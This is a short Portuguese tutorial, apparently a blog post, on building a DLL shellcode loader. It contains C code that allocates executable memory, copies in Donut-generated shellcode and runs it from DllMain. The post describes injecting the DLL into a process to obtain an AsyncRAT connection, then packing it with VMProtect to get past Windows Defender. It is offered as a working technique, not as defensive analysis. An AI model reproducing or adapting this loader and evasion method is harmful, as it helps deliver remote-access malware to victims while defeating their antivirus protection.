Creating DLL Loader
Podemos executar um programa na memória apartir de uma DLL?
A resposta é sim, podemos fazer isso, e não é muito difícil, Para isso, podemos usar um projeto que transforma nosso executável .NET em um binário. O nome do projeto é Donut. sugiro olhar tudo que esse projeto faz, porque ele faz muito mais do que apenas converter o executável em binário.

Não precisamos nos preocupar muito com os argumentos por agora. Vamos primeiro converter o executável para binário.

Vamos agora copiar os bytes desse binário para poder colocá-los em nosso código. Podemos copiar o binário usando o hxd.

O código que vamos utilizar vai ser esse:
Código
#include <Windows.h>
unsigned char rawData[0] = { 0x00, 0x00, 0x00, 0x00 };
int main() {
LPVOID exec_mem = VirtualAlloc(0, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, rawData, sizeof(rawData));
((void(*)())exec_mem)();
VirtualFree(exec_mem, sizeof(rawData), MEM_RELEASE);
return 0;
}
#ifdef _WINDLL
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) {
DisableThreadLibraryCalls(hInstance);
switch (dwReason) {
case DLL_PROCESS_ATTACH: {
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)main, 0, 0, 0);
break;
}
}
return TRUE;
}
#endif
Podemos testar para ver se isso está funcionando. Para isso, podemos usar o Process-Hacker apenas para injetar nossa Dll em um processo:

Após ter injetado a DLL, vamos ter recebido uma conexão com o AsyncRat:

Bom, que tal verificar se este simples código tem a capacidade de contornar o Windows Defender pelo menos:

Como podemos ver, ele detecta o arquivo facilmente. Como não é meu intuito aprofundar-me sobre a evasão de antivírus neste post, podemos apenas utilizar um software para proteger nossa DLL e verificar se conseguimos contornar o Windows Defender após proteger nossa DLL. Para isso, estarei utilizando o VMProtect Professional:

Agora vamos testar nossa Dll novamente e ver se contornamos o Windows Defender:

Como podemos ver, contornamos facilmente o Windows Defender! Pode ser uma maneira simples de fazer isso, mas, de qualquer forma, funciona e é isso que importa.